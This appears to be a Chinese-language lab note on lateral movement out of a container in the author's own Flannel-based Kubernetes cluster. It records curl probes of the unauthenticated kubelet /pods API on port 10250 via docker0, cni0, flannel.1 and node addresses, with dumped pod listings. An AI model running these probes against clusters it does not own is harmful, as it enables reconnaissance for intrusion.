容器渗透横向
本质上要获得
1.获得容器IP段
2.获得主机IP段
3.获得本机IP
4.通过CNI或Docker0等扫描本机端口
Flannel
容器信息
root@ubuntu-linux-22-04-desktop:/home/parallels/Desktop# k get po -A -o wide
NAMESPACE NAME READY STATUS RESTARTS AGE IP NODE NOMINATED NODE READINESS GATES
default escaper 1/1 Running 0 24h 10.244.0.53 ubuntu-linux-22-04-desktop <none> <none>
default rootdir-escape-7d96587449-cjhz7 1/1 Running 4 (3d2h ago) 33d 10.244.1.94 node2 <none> <none>
default rootdir-escape-7d96587449-ftmhp 0/1 ContainerStatusUnknown 4 (33d ago) 83d 10.244.1.56 node2 <none> <none>
default tomcat01-7f555c84f7-hgzjh 0/1 ImagePullBackOff 0 25h 10.244.0.49 ubuntu-linux-22-04-desktop <none> <none>
default tomcat01-7fd8849567-gthhh 0/1 ImagePullBackOff 1 (3d2h ago) 33d 10.244.1.93 node2 <none> <none>
kube-flannel kube-flannel-ds-7jmkz 1/1 Running 10 (3d2h ago) 57d 10.211.55.7 node2 <none> <none>
kube-flannel kube-flannel-ds-fg7wh 1/1 Running 89 (3d ago) 439d 10.211.55.6 ubuntu-linux-22-04-desktop <none> <none>
kube-system coredns-6d8c4cb4d-7ll4q 1/1 Running 14966 (3d ago) 439d 10.244.0.48 ubuntu-linux-22-04-desktop <none> <none>
kube-system coredns-6d8c4cb4d-v2v6s 1/1 Running 14970 (3d ago) 439d 10.244.0.46 ubuntu-linux-22-04-desktop <none> <none>
kube-system etcd-ubuntu-linux-22-04-desktop 1/1 Running 11 (3d ago) 118d 10.211.55.6 ubuntu-linux-22-04-desktop <none> <none>
kube-system kube-apiserver-ubuntu-linux-22-04-desktop 1/1 Running 433 (3d ago) 400d 10.211.55.6 ubuntu-linux-22-04-desktop <none> <none>
kube-system kube-controller-manager-ubuntu-linux-22-04-desktop 1/1 Running 855 (3d ago) 439d 10.211.55.6 ubuntu-linux-22-04-desktop <none> <none>
kube-system kube-proxy-wbhzx 1/1 Running 84 (3d ago) 439d 10.211.55.6 ubuntu-linux-22-04-desktop <none> <none>
kube-system kube-proxy-wbnkq 1/1 Running 9 (3d2h ago) 57d 10.211.55.7 node2 <none> <none>
kube-system kube-scheduler-ubuntu-linux-22-04-desktop 1/1 Running 900 (3d ago) 439d 10.211.55.6 ubuntu-linux-22-04-desktop <none> <none>
sectest detector-5qvmq 1/1 Running 4 (3d ago) 21d 10.244.0.47 ubuntu-linux-22-04-desktop <none> <none>
sectest detector-kd6hm 1/1 Running 3 (3d2h ago) 21d 10.244.1.92 node2 网卡信息
node1
root@ubuntu-linux-22-04-desktop:/home/parallels/code/CloudPentestSuite# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever
2: enp0s5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether 00:1c:42:23:16:2f brd ff:ff:ff:ff:ff:ffinet 10.211.55.6/24 metric 100 brd 10.211.55.255 scope global dynamic enp0s5valid_lft 1002sec preferred_lft 1002secinet6 fdb2:2c26:f4e4:0:21c:42ff:fe23:162f/64 scope global dynamic mngtmpaddr noprefixroute valid_lft 2591674sec preferred_lft 604474secinet6 fe80::21c:42ff:fe23:162f/64 scope link valid_lft forever preferred_lft forever
3: docker_gwbridge: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:a9:12:87:bc brd ff:ff:ff:ff:ff:ffinet 172.19.0.1/16 brd 172.19.255.255 scope global docker_gwbridgevalid_lft forever preferred_lft forever
4: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:95:9f:9c:b1 brd ff:ff:ff:ff:ff:ffinet 172.17.0.1/16 brd 172.17.255.255 scope global docker0valid_lft forever preferred_lft foreverinet6 fe80::42:95ff:fe9f:9cb1/64 scope link valid_lft forever preferred_lft forever
5: flannel.1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UNKNOWN group default link/ether 2e:52:7e:36:bb:f6 brd ff:ff:ff:ff:ff:ffinet 10.244.0.0/32 scope global flannel.1valid_lft forever preferred_lft foreverinet6 fe80::2c52:7eff:fe36:bbf6/64 scope link valid_lft forever preferred_lft forever
6: cni0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UP group default qlen 1000link/ether 5e:2b:ff:49:bf:21 brd ff:ff:ff:ff:ff:ffinet 10.244.0.1/24 brd 10.244.0.255 scope global cni0valid_lft forever preferred_lft foreverinet6 fe80::5c2b:ffff:fe49:bf21/64 scope link valid_lft forever preferred_lft forever
7: veth8c1b6acf@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue master cni0 state UP group default link/ether 62:67:e7:13:1f:2e brd ff:ff:ff:ff:ff:ff link-netnsid 0inet6 fe80::6067:e7ff:fe13:1f2e/64 scope link valid_lft forever preferred_lft forever
8: vethbaadb61c@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue master cni0 state UP group default link/ether ca:ee:34:ac:90:d1 brd ff:ff:ff:ff:ff:ff link-netnsid 1inet6 fe80::c8ee:34ff:feac:90d1/64 scope link valid_lft forever preferred_lft forever
8: veth49d153e6@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue master cni0 state UP group default link/ether f2:d0:0f:78:59:37 brd ff:ff:ff:ff:ff:ff link-netnsid 2inet6 fe80::f0d0:fff:fe78:5937/64 scope link valid_lft forever preferred_lft forever
10: veth49b58a71@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue master cni0 state UP group default link/ether 4a:7d:06:37:d8:7d brd ff:ff:ff:ff:ff:ff link-netnsid 3inet6 fe80::487d:6ff:fe37:d87d/64 scope link valid_lft forever preferred_lft forever
11: vethd96bd702@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue master cni0 state UP group default link/ether 6a:a7:34:e5:00:86 brd ff:ff:ff:ff:ff:ff link-netnsid 4inet6 fe80::68a7:34ff:fee5:86/64 scope link valid_lft forever preferred_lft forever
12: veth7f1682e@if30: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default link/ether e6:a8:05:01:40:16 brd ff:ff:ff:ff:ff:ff link-netnsid 5inet6 fe80::e4a8:5ff:fe01:4016/64 scope link valid_lft forever preferred_lft forevernode2
root@node2:/home/parallels# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever
2: enp0s5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether 00:1c:42:ea:e4:e4 brd ff:ff:ff:ff:ff:ffinet 10.211.55.7/24 brd 10.211.55.255 scope global enp0s5valid_lft forever preferred_lft foreverinet6 fdb2:2c26:f4e4:0:21c:42ff:feea:e4e4/64 scope global dynamic mngtmpaddr noprefixroute valid_lft 2591800sec preferred_lft 604600secinet6 fe80::21c:42ff:feea:e4e4/64 scope link valid_lft forever preferred_lft forever
3: br-2133897d2ca9: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:fe:62:1e:ce brd ff:ff:ff:ff:ff:ff
4: br-53b41bbd8455: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:0d:36:42:b5 brd ff:ff:ff:ff:ff:ffinet6 fe80::42:dff:fe36:42b5/64 scope link valid_lft forever preferred_lft forever
5: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:0a:01:3e:44 brd ff:ff:ff:ff:ff:ff
15: veth3a2c643@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-53b41bbd8455 state UP group default link/ether 4e:ae:51:95:b0:96 brd ff:ff:ff:ff:ff:ff link-netnsid 1inet6 fe80::4cae:51ff:fe95:b096/64 scope link valid_lft forever preferred_lft forever
17: vethcf86640@if16: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-53b41bbd8455 state UP group default link/ether b6:a5:9e:65:ee:ec brd ff:ff:ff:ff:ff:ff link-netnsid 0inet6 fe80::b4a5:9eff:fe65:eeec/64 scope link valid_lft forever preferred_lft forever
19: veth52d72dd@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-53b41bbd8455 state UP group default link/ether 82:b1:11:13:d4:0c brd ff:ff:ff:ff:ff:ff link-netnsid 2inet6 fe80::80b1:11ff:fe13:d40c/64 scope link valid_lft forever preferred_lft forever
34: flannel.1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UNKNOWN group default link/ether be:22:e7:6f:f7:ef brd ff:ff:ff:ff:ff:ffinet 10.244.1.0/32 scope global flannel.1valid_lft forever preferred_lft foreverinet6 fe80::bc22:e7ff:fe6f:f7ef/64 scope link valid_lft forever preferred_lft forever
35: cni0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UP group default qlen 1000link/ether 92:63:7e:1c:2f:9d brd ff:ff:ff:ff:ff:ffinet 10.244.1.1/24 brd 10.244.1.255 scope global cni0valid_lft forever preferred_lft foreverinet6 fe80::9063:7eff:fe1c:2f9d/64 scope link valid_lft forever preferred_lft forever
36: vethd3d21947@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue master cni0 state UP group default link/ether 92:43:ba:8b:b6:78 brd ff:ff:ff:ff:ff:ff link-netnsid 4inet6 fe80::9043:baff:fe8b:b678/64 scope link valid_lft forever preferred_lft forever
37: veth31c95721@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue master cni0 state UP group default link/ether b6:ee:ea:c9:59:3a brd ff:ff:ff:ff:ff:ff link-netnsid 5inet6 fe80::b4ee:eaff:fec9:593a/64 scope link valid_lft forever preferred_lft forever
38: veth1b480f08@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue master cni0 state UP group default link/ether 7a:02:0b:ac:22:59 brd ff:ff:ff:ff:ff:ff link-netnsid 6inet6 fe80::6410:d3ff:fea2:2626/64 scope link valid_lft forever preferred_lft forever
25913: veth4ca56da@if25912: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-53b41bbd8455 state UP group default link/ether 0a:24:ac:9b:8b:07 brd ff:ff:ff:ff:ff:ff link-netnsid 3inet6 fe80::824:acff:fe9b:8b07/64 scope link valid_lft forever preferred_lft forever
root@node2:/home/parallels#
root@node2:/home/parallels#
root@node2:/home/parallels#
root@node2:/home/parallels#
root@node2:/home/parallels# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft foreverinet6 ::1/128 scope host valid_lft forever preferred_lft forever
2: enp0s5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000link/ether 00:1c:42:ea:e4:e4 brd ff:ff:ff:ff:ff:ffinet 10.211.55.7/24 brd 10.211.55.255 scope global enp0s5valid_lft forever preferred_lft foreverinet6 fdb2:2c26:f4e4:0:21c:42ff:feea:e4e4/64 scope global dynamic mngtmpaddr noprefixroute valid_lft 2591796sec preferred_lft 604596secinet6 fe80::21c:42ff:feea:e4e4/64 scope link valid_lft forever preferred_lft forever
3: br-2133897d2ca9: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:fe:62:1e:ce brd ff:ff:ff:ff:ff:ff
4: br-53b41bbd8455: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:0d:36:42:b5 brd ff:ff:ff:ff:ff:ffinet6 fe80::42:dff:fe36:42b5/64 scope link valid_lft forever preferred_lft forever
5: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default link/ether 02:42:0a:01:3e:44 brd ff:ff:ff:ff:ff:ff
15: veth3a2c643@if14: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-53b41bbd8455 state UP group default link/ether 4e:ae:51:95:b0:96 brd ff:ff:ff:ff:ff:ff link-netnsid 1inet6 fe80::4cae:51ff:fe95:b096/64 scope link valid_lft forever preferred_lft forever
17: vethcf86640@if16: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-53b41bbd8455 state UP group default link/ether b6:a5:9e:65:ee:ec brd ff:ff:ff:ff:ff:ff link-netnsid 0inet6 fe80::b4a5:9eff:fe65:eeec/64 scope link valid_lft forever preferred_lft forever
19: veth52d72dd@if18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-53b41bbd8455 state UP group default link/ether 82:b1:11:13:d4:0c brd ff:ff:ff:ff:ff:ff link-netnsid 2inet6 fe80::80b1:11ff:fe13:d40c/64 scope link valid_lft forever preferred_lft forever
34: flannel.1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UNKNOWN group default link/ether be:22:e7:6f:f7:ef brd ff:ff:ff:ff:ff:ffinet 10.244.1.0/32 scope global flannel.1valid_lft forever preferred_lft foreverinet6 fe80::bc22:e7ff:fe6f:f7ef/64 scope link valid_lft forever preferred_lft forever
35: cni0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UP group default qlen 1000link/ether 92:63:7e:1c:2f:9d brd ff:ff:ff:ff:ff:ffinet 10.244.1.1/24 brd 10.244.1.255 scope global cni0valid_lft forever preferred_lft foreverinet6 fe80::9063:7eff:fe1c:2f9d/64 scope link valid_lft forever preferred_lft forever
36: vethd3d21947@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue master cni0 state UP group default link/ether 92:43:ba:8b:b6:78 brd ff:ff:ff:ff:ff:ff link-netnsid 4inet6 fe80::9043:baff:fe8b:b678/64 scope link valid_lft forever preferred_lft forever
37: veth31c95721@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue master cni0 state UP group default link/ether b6:ee:ea:c9:59:3a brd ff:ff:ff:ff:ff:ff link-netnsid 5inet6 fe80::b4ee:eaff:fec9:593a/64 scope link valid_lft forever preferred_lft forever
38: veth1b480f08@if2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue master cni0 state UP group default link/ether 7a:02:0b:ac:22:59 brd ff:ff:ff:ff:ff:ff link-netnsid 6inet6 fe80::6410:d3ff:fea2:2626/64 scope link valid_lft forever preferred_lft forever
25963: veth6a3543e@if25962: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-53b41bbd8455 state UP group default link/ether a2:ca:b6:cd:19:7a brd ff:ff:ff:ff:ff:ff link-netnsid 3inet6 fe80::a0ca:b6ff:fecd:197a/64 scope link valid_lft forever preferred_lft forever
通过Docker运行容器
root@18c7d48fca76:/# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft forever
30: eth0@if31: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0valid_lft forever preferred_lft forever自身IP 失败
root@18c7d48fca76:/# curl https://172.17.0.2:10250/pods --insecure
curl: (7) Failed to connect to 172.17.0.2 port 10250 after 0 ms: Connection refused
docker0 成功
root@18c7d48fca76:/# curl https://172.17.0.1:10250/pods --insecure
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"coredns-6d8c4cb4d-7ll4q","generateName":"coredns-6d8c4cb4d-","namespace":"kube-system","uid":"a12aa7c3-ba0a-425e-ac58-96d372e6d473","resourceVersion":"13905304","creationTimestamp":"2023-11-02T09:41:34Z","labels":{"k8s-app":"kube-dns","pod-template-hash":"6d8c4cb4d"},"annotations":{"kubernetes.io/config.seen":"2025-01-12T12:24:55.886401680+08:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"ReplicaSet","name":"coredns-6d8c4cb4d","uid":"32c3b707-2c34-4bd0-bbc9-cc724c9ab8e3","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2023-11-02T09:41:34Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:k8s-app":{},"f:pod-template-hash":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\"32c3b707-2c34-4bd0-bbc9-cc724c9ab8e3\"}":{}}},"f:spec":{"f:containers":{"k:{\"name\":\"coredns\"}":{".":{},"f:args":{},"f:image":{},"f:imagePullPolicy":{},"f:livenessProbe":{".":{},"f:failureThreshold":{},"f:httpGet":{".":{},"f:path":{},"f:port":{},"f:scheme":{}},"f:initialDelaySeconds":{},"f:periodSeconds":{},"f:successThreshold":{},"f:timeoutSeconds":{}},"f:name":{},"f:ports":{".":{},"k:{\"containerPort\":53,\"protocol\":\"TCP\"}":{".":{},"f:containerPort":{},"f:name":{},"f:protocol":{}},"k:{\"contaiflannel.1 成功
root@18c7d48fca76:/# curl https://10.244.0.0:10250/pods --insecure
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"coredns-6d8c4cb4d-v2v6s","generateName":"coredns-6d8c4cb4d-","namespace":"kube-system","uid":"7fbaad56-7595-460a-9687-a295ed79b24c","resourceVersion":"13905287","creationTimestamp":"2023-11-02T09:41:34Z","labels":{"k8s-app":"kube-dns","pod-template-hash":"6d8c4cb4d"},"annotations":{"kubernetes.io/config.seen":"2025-01-12T12:24:55.886404222+08:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"ReplicaSet","name":"coredns-6d8c4cb4d","uid":"32c3b707-2c34-4bd0-bbc9-cc724c9ab8e3","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2023-11-02T09:41:34Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:k8s-app":{},"f:pod-template-hash":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\cni0 成功
root@18c7d48fca76:/# curl https://10.244.0.0:10250/pods --insecure
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"coredns-6d8c4cb4d-v2v6s","generateName":"coredns-6d8c4cb4d-","namespace":"kube-system","uid":"7fbaad56-7595-460a-9687-a295ed79b24c","resourceVersion":"13905287","creationTimestamp":"2023-11-02T09:41:34Z","labels":{"k8s-app":"kube-dns","pod-template-hash":"6d8c4cb4d"},"annotations":{"kubernetes.io/config.seen":"2025-01-12T12:24:55.886404222+08:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"ReplicaSet","name":"coredns-6d8c4cb4d","uid":"32c3b707-2c34-4bd0-bbc9-cc724c9ab8e3","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2023-11-02T09:41:34Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:k8s-app":{},"f:pod-template-hash":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\自身节点主机IP 成功
root@18c7d48fca76:/# curl https://10.211.55.6:10250/pods --insecure
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-flannel-ds-fg7wh","generateName":"kube-flannel-ds-","namespace":"kube-flannel","uid":"cffe6a8a-c03b-4cab-aaf5-52af441f2b15","resourceVersion":"13864130","creationTimestamp":"2023-11-02T09:45:27Z","labels":{"app":"flannel","controller-revision-hash":"6b69bb98dd","pod-template-generation":"1","tier":"node"},"annotations":{"kubernetes.io/config.seen":"2025-01-12T12:24:55.886404972+08:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-flannel-ds","uid":"8beb07f0-980c-48a5-bdfa-ae1b5ca4bbca","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2023-11-02T09:45:27Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:app":{},"f:controller-revision-hash":{},"f:pod-template-generation":{},"f:tier":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\"8beb07f0-980c-48a5-bdfa-ae1b5ca4bbca\"}":{}}},"f:spec":{"f:affinity":{".":{},"f:nodeAffinity":{".":{},"f:requiredDuringSchedulingIgnoredDuringExecution":{}}},"f:containers":{"k:{\"name\":\"kube-flannel\"}":{".":{},"f:args":{},其他节点 成功（由于未开Kubelet未授权，所以用ping替代）
root@18c7d48fca76:/# ping 10.211.55.7
PING 10.211.55.7 (10.211.55.7): 56 data bytes
64 bytes from 10.211.55.7: icmp_seq=0 ttl=63 time=2.653 ms
64 bytes from 10.211.55.7: icmp_seq=1 ttl=63 time=0.610 ms
^C--- 10.211.55.7 ping statistics ---通过k8s容器运行的容器
root@escaper:/home# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00inet 127.0.0.1/8 scope host lovalid_lft forever preferred_lft forever
2: eth0@if27: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1450 qdisc noqueue state UP group default link/ether 46:a7:ed:f5:62:a7 brd ff:ff:ff:ff:ff:ff link-netnsid 0inet 10.244.0.53/24 brd 10.244.0.255 scope global eth0valid_lft forever preferred_lft forever自身IP 失败
root@escaper:/home# curl https://10.244.0.53:10250/pods --insecure
curl: (7) Failed to connect to 10.244.0.53 port 10250 after 0 ms: Connection refuseddocker0 成功
root@18c7d48fca76:/# curl https://172.17.0.1:10250/pods --insecure
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"coredns-6d8c4cb4d-7ll4q","generateName":"coredns-6d8c4cb4d-","namespace":"kube-system","uid":"a12aa7c3-ba0a-425e-ac58-96d372e6d473","resourceVersion":"13905304","creationTimestamp":"2023-11-02T09:41:34Z","labels":{"k8s-app":"kube-dns","pod-template-hash":"6d8c4cb4d"},"annotations":{"kubernetes.io/config.seen":"2025-01-12T12:24:55.886401680+08:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"ReplicaSet","name":"coredns-6d8c4cb4d","uid":"32c3b707-2c34-4bd0-bbc9-cc724c9ab8e3","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2023-11-02T09:41:34Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:k8s-app":{},"f:pod-template-hash":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\"32c3b707-2c34-4bd0-bbc9-cc724c9ab8e3\"}":{}}},"f:spec":{"f:containers":{"k:{\"name\":\"coredns\"}":{".":{},"f:args":{},"f:image":{},"f:imagePullPolicy":{},"f:livenessProbe":{".":{},"f:failureThreshold":{},"f:httpGet":{".":{},"f:path":{},"f:port":{},"f:scheme":{}},"f:initialDelaySeconds":{},"f:periodSeconds":{},"f:successThreshold":{},"f:timeoutSeconds":{}},"f:name":{},"f:ports":{".":{},"k:{\"containerPort\":53,\"protocol\":\"TCP\"}":{".":{},"f:containerPort":{},"f:name":{},"f:protocol":{}},"k:{\"contaiflannel.1 成功
root@18c7d48fca76:/# curl https://10.244.0.0:10250/pods --insecure
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"coredns-6d8c4cb4d-v2v6s","generateName":"coredns-6d8c4cb4d-","namespace":"kube-system","uid":"7fbaad56-7595-460a-9687-a295ed79b24c","resourceVersion":"13905287","creationTimestamp":"2023-11-02T09:41:34Z","labels":{"k8s-app":"kube-dns","pod-template-hash":"6d8c4cb4d"},"annotations":{"kubernetes.io/config.seen":"2025-01-12T12:24:55.886404222+08:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"ReplicaSet","name":"coredns-6d8c4cb4d","uid":"32c3b707-2c34-4bd0-bbc9-cc724c9ab8e3","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2023-11-02T09:41:34Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:k8s-app":{},"f:pod-template-hash":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\cni0 成功
root@18c7d48fca76:/# curl https://10.244.0.0:10250/pods --insecure
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"coredns-6d8c4cb4d-v2v6s","generateName":"coredns-6d8c4cb4d-","namespace":"kube-system","uid":"7fbaad56-7595-460a-9687-a295ed79b24c","resourceVersion":"13905287","creationTimestamp":"2023-11-02T09:41:34Z","labels":{"k8s-app":"kube-dns","pod-template-hash":"6d8c4cb4d"},"annotations":{"kubernetes.io/config.seen":"2025-01-12T12:24:55.886404222+08:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"ReplicaSet","name":"coredns-6d8c4cb4d","uid":"32c3b707-2c34-4bd0-bbc9-cc724c9ab8e3","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2023-11-02T09:41:34Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:k8s-app":{},"f:pod-template-hash":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\自身节点IP
root@18c7d48fca76:/# curl https://10.211.55.6:10250/pods --insecure
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-flannel-ds-fg7wh","generateName":"kube-flannel-ds-","namespace":"kube-flannel","uid":"cffe6a8a-c03b-4cab-aaf5-52af441f2b15","resourceVersion":"13864130","creationTimestamp":"2023-11-02T09:45:27Z","labels":{"app":"flannel","controller-revision-hash":"6b69bb98dd","pod-template-generation":"1","tier":"node"},"annotations":{"kubernetes.io/config.seen":"2025-01-12T12:24:55.886404972+08:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-flannel-ds","uid":"8beb07f0-980c-48a5-bdfa-ae1b5ca4bbca","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2023-11-02T09:45:27Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:app":{},"f:controller-revision-hash":{},"f:pod-template-generation":{},"f:tier":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\"8beb07f0-980c-48a5-bdfa-ae1b5ca4bbca\"}":{}}},"f:spec":{"f:affinity":{".":{},"f:nodeAffinity":{".":{},"f:requiredDuringSchedulingIgnoredDuringExecution":{}}},"f:containers":{"k:{\"name\":\"kube-flannel\"}":{".":{},"f:args":{},参考
Lateral movement risks in the cloud and how to prevent them – Part 2: from compromised container to cloud takeover | Wiz Blog
An Insight into RSAC 2023: Lateral Movement in Kubernetes - NSFOCUS, Inc., a global network and cyber security leader, protects enterprises and carriers from advanced cyber attacks.
Lateral Movement - Threat Matrix for Kubernetes
Taking a look at the Kube-Proxy API